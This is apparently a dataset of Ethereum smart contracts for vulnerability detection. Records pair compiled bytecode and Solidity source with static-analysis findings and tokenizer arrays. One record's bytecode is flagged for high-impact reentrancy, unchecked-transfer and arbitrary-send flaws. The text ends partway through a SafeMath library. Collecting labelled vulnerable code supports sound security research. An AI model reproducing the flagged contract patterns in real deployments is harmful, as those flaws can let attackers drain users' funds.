0408120549091829160ff16151561122957600080fd5b600092505b6009548310156112c457600980548490811061124657fe5b6000918252602080832090910154600160a060020a03168083526006909152604082205490935011156112b95761127c82611f95565b60408051600160a060020a038416815290517f42b25b858d1b8237388009e43821c3d5aa1efd52112216ec6a252b6051623a5e9181900360200190a15b60019092019161122e565b505050565b6000805b60085481101561133257600083815260036020526040812060088054919291849081106112f657fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff161561132a576001820191505b6001016112cd565b50919050565b8051606090829082906000906001161561135157600080fd5b8251600290046040519080825280601f01601f191660200182016040528015611384578160200160208202803883390190505b509150600090505b82516002900481101561142a576113c683826002026001018151811015156113b057fe5b016020015160f860020a90819004810204611b0a565b6113da84836002028151811015156113b057fe5b6010020160f860020a0282828151811015156113f257fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060010161138c565b8193505b505050919050565b60066020526000908152604090205481565b3360008181526004602052604090205460ff16151561146657600080fd5b506007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600260208181526000928352604092839020805460018083015483860180548851601f60001995831615610100029590950190911697909704928301869004860287018601909752818652600160a060020a0390921695919492938301828280156115425780601f1061151757610100808354040283529160200191611542565b820191906000526020600020905b81548152906001019060200180831161152557829003601f168201915b5050506003909301549192505060ff1684565b606060088054806020026020016040519081016040528092919081815260200182805480156115ad57602002820191906000526020600020905b8154600160a060020a0316815260019091019060200180831161158f575b505050505090505b90565b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092429284928392600160a060020a0316916370a0823191602480830192602092919082900301818787803b15801561162357600080fd5b505af1158015611637573d6000803e3d6000fd5b505050506040513d602081101561164d57600080fd5b50519150611673606461166784600563ffffffff6129fc16565b9063ffffffff612a2716565b90508085111561168257600080fd5b600c5462015180908403106116bd57600c8390556116ac606461166784600f63ffffffff6129fc16565b600d55600e8590556001935061142e565b600d54600e546116d3908763ffffffff612a3e16565b116116e957600e8054860190556001935061142e565b6000935061142e565b606080600080600b54604051908082528060200260200182016040528015611724578160200160208202803883390190505b50925060009150600090505b600b548110156117ab57858015611759575060008181526002602052604090206003015460ff16155b8061177d575084801561177d575060008181526002602052604090206003015460ff165b156117a35780838381518110151561179157fe5b60209081029091010152600191909101905b600101611730565b8787036040519080825280602002602001820160405280156117d7578160200160208202803883390190505b5093508790505b868110156118205782818151811015156117f457fe5b906020019060200201518489830381518110151561180e57fe5b602090810290910101526001016117de565b505050949350505050565b3360008181526004602052604090205460ff16151561184957600080fd5b506000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a0394851617918290556007805482169385169390931790925560018054919093169116179055565b3360008181526004602052604090205460ff1615156118b457600080fd5b600160a060020a038216600090815260056020526040902054829060ff16156118dc57600080fd5b82600160a060020a03811615156118f257600080fd5b600160a060020a0384166000818152600560209081526040808320805460ff191660019081179091556009805491820190557f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af01805473ffffffffffffffffffffffffffffffffffffffff1916851790556006909152808220829055517fc64776f801b4c431f61e786bae65b79896c363a42b0328a217a33b6b9fe26d389190a250505050565b6060806000806008805490506040519080825280602002602001820160405280156119ce578160200160208202803883390190505b50925060009150600090505b600854811015611a8b5760008581526003602052604081206008805491929184908110611a0357fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615611a83576008805482908110611a3e57fe5b6000918252602090912001548351600160a060020a0390911690849084908110611a6457fe5b600160a060020a03909216602092830290910190910152600191909101905b6001016119da565b81604051908082528060200260200182016040528015611ab5578160200160208202803883390190505b509350600090505b8181101561142e578281815181101515611ad357fe5b906020019060200201518482815181101515611aeb57fe5b600160a060020a03909216602092830290910190910152600101611abd565b60007f300000000000000000000000000000000000000000000000000000000000000060f860020a8302600160f860020a03191610801590611b7c57507f390000000000000000000000000000000000000000000000000000000000000060f860020a8302600160f860020a03191611155b15611b8c5750602f198101610c6b565b7f610000000000000000000000000000000000000000000000000000000000000060f860020a8302600160f860020a03191610801590611bfc57507f660000000000000000000000000000000000000000000000000000000000000060f860020a8302600160f860020a03191611155b15611c0c57506056198101610c6b565b7f410000000000000000000000000000000000000000000000000000000000000060f860020a8302600160f860020a03191610801590611c7c57507f460000000000000000000000000000000000000000000000000000000000000060f860020a8302600160f860020a03191611155b15610c6b57506036198101610c6b565b600b5481565b333014611c9e57600080fd5b60085481600a821180611cb057508181115b80611cb9575080155b80611cc2575081155b15611ccc57600080fd5b600a8390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526004602052604090205460ff161515611d2757600080fd5b50600d55565b3360008181526004602052604090205460ff161515611d4b57600080fd5b6000828152600260205260409020548290600160a060020a03161515611d7057600080fd5b60008381526003602090815260408083203380855292529091205484919060ff1615611d9b57600080fd5b6000858152600360209081526040808320338085529252808320805460ff191660011790555187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3611def8561287f565b5050505050565b60009392505050565b3360008181526004602052604081205490919060ff161515611e2057600080fd5b600160a060020a038316600090815260056020526040902054839060ff161515611e4957600080fd5b600160a060020a0384166000908152600560205260408120805460ff1916905592505b60095460001901831015611f285783600160a060020a0316600984815481101515611e9357fe5b600091825260209091200154600160a060020a03161415611f1d5760095460088054909160001901908110611ec457fe5b60009182526020909120015460098054600160a060020a039092169185908110611eea57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550611f28565b600190920191611e6c565b600980546000190190611f3b9082612b3d565b50604051600160a060020a038516907fedc4f118f8cab6510389872840b5f4b010928acb0ff9102fbb27d6254c6008b590600090a250505050565b6000611f83848484612a4d565b9050611f8e81611d2d565b9392505050565b33600081815260046020526040812054909182918291829160ff161515611fbb57600080fd5b600160a060020a038616600090815260056020526040902054869060ff161515611fe457600080fd5b600160a060020a0380881660008181526006602090815260408083205460015482517f70a0823100000000000000000000000000000000000000000000000000000000815260048101969096529151909b509416936370a0823193602480820194918390030190829087803b15801561205c57600080fd5b505af1158015612070573d6000803e3d6000fd5b505050506040513d602081101561208657600080fd5b505194508585116121a6576120a1868663ffffffff6129ea16565b93506120ac846115b8565b15156120b757600080fd5b600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038a81166004830152602482018890529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561212657600080fd5b505af115801561213a573d6000803e3d6000fd5b505050506040513d602081101561215057600080fd5b5051151561215d57600080fd5b60408051600160a060020a03891681526020810186905281517f88bd554525d7c17f1b63b30f4950157c2cba363f4a64d31cd9e16447b18ac294929181900390910190a16122a9565b6121b6858763ffffffff6129ea16565b600154604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a038b811660048301523060248301526044820185905291519396509116916323b872dd916064808201926020929091908290030181600087803b15801561222d57600080fd5b505af1158015612241573d6000803e3d6000fd5b505050506040513d602081101561225757600080fd5b5051151561226457600080fd5b60408051600160a060020a03891681526020810185905281517f08b547c0f91806f2bfbf45c1238eb62ede4a2ede14757874de8e4aafd7ef5c2e929181900390910190a15b60408051600160a060020a038916815290517f42b25b858d1b8237388009e43821c3d5aa1efd52112216ec6a252b6051623a5e9181900360200190a150505050505050565b601054612301903463ffffffff612a3e16565b601055565b3360008181526004602052604081205490919060ff16151561232757600080fd5b30319150662386f26fc1000082111561241b57600154604080517f724fcd4c000000000000000000000000000000000000000000000000000000008152600060048201819052602160248301526060604483015260648201529051600160a060020a039092169163724fcd4c91859160a480830192602092919082900301818588803b1580156123b657600080fd5b505af11580156123ca573d6000803e3d6000fd5b50505050506040513d60208110156123e157600080fd5b50506040805183815290517f0bd55c801ccaecb2e495eda7f76e3063fa3957b398800d8358fd7fd79326679d9181900360200190a1610f30565b6040805134815233602082015281517f44bbfd3056f8b0c20a51ecef45fc8819a9a8d48224247a42f05c3910b3d8617e929181900390910190a15050565b600a81565b60008033301461246d57600080fd5b612476836115b8565b151561248157600080fd5b60085461248f908490612a27565b9150600090505b6008548110156125685760015460088054600160a060020a039092169163a9059cbb9190849081106124c457fe5b6000918252602080832090910154604080517c010000000000000000000000000000000000000000000000000000000063ffffffff8716028152600160a060020a039092166004830152602482018890525160448083019491928390030190829087803b15801561253457600080fd5b505af1158015612548573d6000803e3d6000fd5b505050506040513d602081101561255e57600080fd5b5050600101612496565b604080518481526020810184905281517f07008f8adc282de766e112abefffbaeaf5b647a6d9881c2266e563c3a613db83929181900390910190a1505050565b600a5481565b60003330146125bc57600080fd5b600160a060020a038316600090815260046020526040902054839060ff1615156125e557600080fd5b600160a060020a038316600090815260046020526040902054839060ff161561260d57600080fd5b600092505b60085483101561269e5784600160a060020a031660088481548110151561263557fe5b600091825260209091200154600160a060020a03161415612693578360088481548110151561266057fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a0316021790555061269e565b600190920191612612565b600160a060020a03808616600081815260046020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b3360008181526005602052604090205460ff16151561275657600080fd5b3360009081526005602052604090205460ff16151561277457600080fd5b600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018790529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156127e357600080fd5b505af11580156127f7573d6000803e3d6000fd5b505050506040513d602081101561280d57600080fd5b505115156112c457600080fd5b3360008181526004602052604090205460ff16151561283857600080fd5b600160a060020a038316600090815260056020526040902054839060ff16151561286157600080fd5b5050600160a060020a03909116600090815260066020526040902055565b600081815260026020526040812060030154829060ff16156128a057600080fd5b6128a983611056565b156112c45760008381526002602081905260409182902060038101805460ff1916600190811790915581548183015494518385018054949850600160a060020a03909216959491939092839285926000199281161561010002929092019091160480156129575780601f1061292c57610100808354040283529160200191612957565b820191906000526020600020905b81548152906001019060200180831161293a57829003601f168201915b505091505060006040518083038185875af192505050156129a25760405183907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a26112c4565b60405183907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a250600301805460ff1916905550565b60098054829081106109b057fe5b6000828211156129f657fe5b50900390565b600080831515612a0f5760009150610e03565b50828202828482811515612a1f57fe5b0414611f8e57fe5b6000808284811515612a3557fe5b04949350505050565b600082820183811015611f8e57fe5b600083600160a060020a0381161515612a6557600080fd5b600b5460408051608081018252600160a060020a038881168252602080830189815283850189815260006060860181905287815260028085529690208551815473ffffffffffffffffffffffffffffffffffffffff191695169490941784559051600184015551805195975092949193612ae59390850192910190612b61565b50606091909101516003909101805460ff1916911515919091179055600b8054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b8154818355818111156112c4576000838152602090206112c4918101908301612bdf565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612ba257805160ff1916838001178555612bcf565b82800160010185558215612bcf579182015b82811115612bcf578251825591602001919060010190612bb4565b50612bdb929150612bdf565b5090565b6115b591905b80821115612bdb5760008155600101612be55600a165627a7a72305820abb268c0e32300e970e89f8072459b8d71bb1d86a2383f6f3780e0ea69dd67ce0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 19797, 17465, 2581, 2850, 11387, 2581, 2063, 19481, 2063, 2509, 6305, 2549, 21869, 2575, 2063, 2581, 28756, 2094, 2629, 26337, 2575, 2546, 2850, 2546, 2620, 2094, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2603, 1025, 1013, 1008, 1008, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 1012, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1012, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1012, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1012, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1012, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1012, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1012, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1012, 1011, 1011, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,841
0x95cda12df93f8453e3cc8852fc37fc18755a5a62
pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function toUINT112(uint256 a) internal pure returns(uint112) { assert(uint112(a) == a); return uint112(a); } function toUINT120(uint256 a) internal pure returns(uint120) { assert(uint120(a) == a); return uint120(a); } function toUINT128(uint256 a) internal pure returns(uint128) { assert(uint128(a) == a); return uint128(a); } } contract ERC20Basic { string public name; string public symbol; uint256 public totalSupply; uint8 public constant decimals = 18; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; // used for airdrop uint256 airdropTotalSupply; uint256 airdropCurrentSupply; uint256 airdropNum; // airdrop number for each account // store if the address is touched for airdrop mapping(address => bool) touched; /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // add airdrop to address _from initialize(_from); require(_to != address(0)); require(_value <= balances[_from]); // add airdrop to address _to initialize(_to); // SafeMath.sub will throw if there is not enough balance. balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { _transfer(msg.sender, _to, _value); // in any transfer function, emit should be done manually emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return getBalance(_owner); } // internal privats function initialize(address _address) internal returns (bool success) { if (airdropCurrentSupply < airdropTotalSupply && !touched[_address]) { touched[_address] = true; airdropCurrentSupply = airdropCurrentSupply.add(airdropNum); balances[_address] = balances[_address].add(airdropNum); totalSupply = totalSupply.add(airdropNum); } return true; } function getBalance(address _address) internal view returns (uint256) { if (airdropCurrentSupply < airdropTotalSupply && !touched[_address]) { return balances[_address].add(airdropNum); } else { return balances[_address]; } } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_value <= allowed[_from][msg.sender]); _transfer(_from, _to, _value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); // in any transfer function, emit should be done manually emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf(msg.sender) >= _value); // Check if the sender has enough balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf(_from) >= _value); // Check if the targeted balance is enough require(_value <= allowance(_from, msg.sender)); // Check allowance balances[_from] = balances[_from].sub(_value); // Subtract from the targeted balance allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } } contract BCD is StandardToken { /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor( uint256 _initialSupply, string _tokenName, string _tokenSymbol, uint _airdropTotalSupply, uint256 _airdropNum ) public { touched[msg.sender] = true; // ignore airdrop to owner totalSupply = _initialSupply * 10 ** uint256(decimals); balances[msg.sender] = totalSupply; name = _tokenName; symbol = _tokenSymbol; airdropTotalSupply = _airdropTotalSupply * 10 ** uint256(decimals); airdropNum = _airdropNum * 10 ** uint256(decimals); } }
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a7578063313ce567146101d157806342966c68146101fc57806370a082311461021457806379cc67901461023557806395d89b4114610259578063a9059cbb1461026e578063cae9ca5114610292578063dd62ed3e146102fb575b600080fd5b3480156100ca57600080fd5b506100d3610322565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a03600435166024356103b0565b604080519115158252519081900360200190f35b34801561018c57600080fd5b50610195610416565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a036004358116906024351660443561041c565b3480156101dd57600080fd5b506101e66104f6565b6040805160ff9092168252519081900360200190f35b34801561020857600080fd5b5061016c6004356104fb565b34801561022057600080fd5b50610195600160a060020a0360043516610597565b34801561024157600080fd5b5061016c600160a060020a03600435166024356105a8565b34801561026557600080fd5b506100d36106bd565b34801561027a57600080fd5b5061016c600160a060020a0360043516602435610717565b34801561029e57600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016c948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061076d9650505050505050565b34801561030757600080fd5b50610195600160a060020a0360043581169060243516610886565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103a85780601f1061037d576101008083540402835291602001916103a8565b820191906000526020600020905b81548152906001019060200180831161038b57829003601f168201915b505050505081565b336000818152600860209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025481565b600160a060020a038316600090815260086020908152604080832033845290915281205482111561044c57600080fd5b6104578484846108b1565b600160a060020a038416600090815260086020908152604080832033845290915290205461048b908363ffffffff61097e16565b600160a060020a03808616600081815260086020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b601281565b60008161050733610597565b101561051257600080fd5b33600090815260036020526040902054610532908363ffffffff61097e16565b33600090815260036020526040902055600254610555908363ffffffff61097e16565b60025560408051838152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25060015b919050565b60006105a282610990565b92915050565b6000816105b484610597565b10156105bf57600080fd5b6105c98333610886565b8211156105d557600080fd5b600160a060020a0383166000908152600360205260409020546105fe908363ffffffff61097e16565b600160a060020a038416600090815260036020908152604080832093909355600881528282203383529052205461063b908363ffffffff61097e16565b600160a060020a0384166000908152600860209081526040808320338452909152902055600254610672908363ffffffff61097e16565b600255604080518381529051600160a060020a038516917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a250600192915050565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103a85780601f1061037d576101008083540402835291602001916103a8565b60006107243384846108b1565b604080518381529051600160a060020a0385169133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b60008361077a81856103b0565b1561087e576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b838110156108125781810151838201526020016107fa565b50505050905090810190601f16801561083f5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561086157600080fd5b505af1158015610875573d6000803e3d6000fd5b50505050600191505b509392505050565b600160a060020a03918216600090815260086020908152604080832093909416825291909152205490565b6108ba83610a14565b50600160a060020a03821615156108d057600080fd5b600160a060020a0383166000908152600360205260409020548111156108f557600080fd5b6108fe82610a14565b50600160a060020a038316600090815260036020526040902054610928908263ffffffff61097e16565b600160a060020a03808516600090815260036020526040808220939093559084168152205461095d908263ffffffff610ae716565b600160a060020a039092166000908152600360205260409020919091555050565b60008282111561098a57fe5b50900390565b60006004546005541080156109be5750600160a060020a03821660009081526007602052604090205460ff16155b156109f557600654600160a060020a0383166000908152600360205260409020546109ee9163ffffffff610ae716565b9050610592565b50600160a060020a038116600090815260036020526040902054610592565b6000600454600554108015610a425750600160a060020a03821660009081526007602052604090205460ff16155b15610adf57600160a060020a0382166000908152600760205260409020805460ff19166001179055600654600554610a7f9163ffffffff610ae716565b600555600654600160a060020a038316600090815260036020526040902054610aad9163ffffffff610ae716565b600160a060020a038316600090815260036020526040902055600654600254610adb9163ffffffff610ae716565b6002555b506001919050565b600082820183811015610af657fe5b93925050505600a165627a7a72305820b34038ddc09201ffc0fbbf6c6b82fae68ede17668d2956a4692f2d75a05d88c30029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 19797, 27717, 2475, 20952, 2683, 2509, 2546, 2620, 19961, 2509, 2063, 2509, 9468, 2620, 27531, 2475, 11329, 24434, 11329, 15136, 23352, 2629, 2050, 2629, 2050, 2575, 2475, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2538, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,842
0x95cda24d2515491095d21d94f1b94f319e016d35
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 